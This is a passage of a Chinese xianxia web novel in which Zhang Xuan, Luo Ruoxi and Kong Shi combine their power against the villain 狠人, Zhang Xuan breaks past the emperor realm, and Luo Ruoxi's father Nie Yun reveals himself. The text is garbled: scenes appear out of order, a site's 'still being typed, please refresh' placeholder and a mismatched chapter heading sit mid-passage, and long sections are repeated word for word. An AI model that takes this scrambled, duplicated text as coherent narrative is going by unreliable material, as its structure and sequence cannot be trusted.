洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百五十三章 继续折磨他们 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 